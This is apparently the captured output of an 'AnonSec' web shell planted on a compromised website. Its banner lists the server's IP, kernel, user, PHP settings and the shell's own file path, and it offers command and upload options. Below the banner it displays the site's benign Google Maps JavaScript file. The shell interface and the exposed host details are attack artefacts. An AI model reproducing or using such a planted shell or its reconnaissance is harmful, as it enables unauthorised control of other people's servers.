AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/css/../js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/css/../js/google-map.js
var google;

function init() {
    // Basic options for a simple Google Map
    // For more options see: https://developers.google.com/maps/documentation/javascript/reference#MapOptions
    // var myLatlng = new google.maps.LatLng(40.71751, -73.990922);
    var myLatlng = new google.maps.LatLng(40.69847032728747, -73.9514422416687);
    // 39.399872
    // -8.224454
    
    var mapOptions = {
        // How zoomed in you want the map to start at (always required)
        zoom: 7,

        // The latitude and longitude to center the map (always required)
        center: myLatlng,

        // How you would like to style the map. 
        scrollwheel: false,
        styles: [
				  {
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#f5f5f5"
				      }
				    ]
				  },
				  {
				    "elementType": "labels.icon",
				    "stylers": [
				      {
				        "visibility": "off"
				      }
				    ]
				  },
				  {
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#616161"
				      }
				    ]
				  },
				  {
				    "elementType": "labels.text.stroke",
				    "stylers": [
				      {
				        "color": "#f5f5f5"
				      }
				    ]
				  },
				  {
				    "featureType": "administrative.land_parcel",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#bdbdbd"
				      }
				    ]
				  },
				  {
				    "featureType": "poi",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#eeeeee"
				      }
				    ]
				  },
				  {
				    "featureType": "poi",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#757575"
				      }
				    ]
				  },
				  {
				    "featureType": "poi.park",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#e5e5e5"
				      }
				    ]
				  },
				  {
				    "featureType": "poi.park",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#9e9e9e"
				      }
				    ]
				  },
				  {
				    "featureType": "road",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#ffffff"
				      }
				    ]
				  },
				  {
				    "featureType": "road.arterial",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#757575"
				      }
				    ]
				  },
				  {
				    "featureType": "road.highway",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#dadada"
				      }
				    ]
				  },
				  {
				    "featureType": "road.highway",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#616161"
				      }
				    ]
				  },
				  {
				    "featureType": "road.local",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#9e9e9e"
				      }
				    ]
				  },
				  {
				    "featureType": "transit.line",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#e5e5e5"
				      }
				    ]
				  },
				  {
				    "featureType": "transit.station",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#eeeeee"
				      }
				    ]
				  },
				  {
				    "featureType": "water",
				    "elementType": "geometry",
				    "stylers": [
				      {
				        "color": "#c9c9c9"
				      }
				    ]
				  },
				  {
				    "featureType": "water",
				    "elementType": "labels.text.fill",
				    "stylers": [
				      {
				        "color": "#9e9e9e"
				      }
				    ]
				  }
				]
    };

    

    // Get the HTML DOM element that will contain your map 
    // We are using a div with id="map" seen below in the <body>
    var mapElement = document.getElementById('map');

    // Create the Google Map using out element and options defined above
    var map = new google.maps.Map(mapElement, mapOptions);
    
    var addresses = ['New York'];

    for (var x = 0; x < addresses.length; x++) {
        $.getJSON('http://maps.googleapis.com/maps/api/geocode/json?address='+addresses[x]+'&sensor=false', null, function (data) {
            var p = data.results[0].geometry.location
            var latlng = new google.maps.LatLng(p.lat, p.lng);
            new google.maps.Marker({
                position: latlng,
                map: map,
                icon: 'images/loc.png'
            });

        });
    }
    
}
google.maps.event.addDomListener(window, 'load', init);

AnonSec - 2021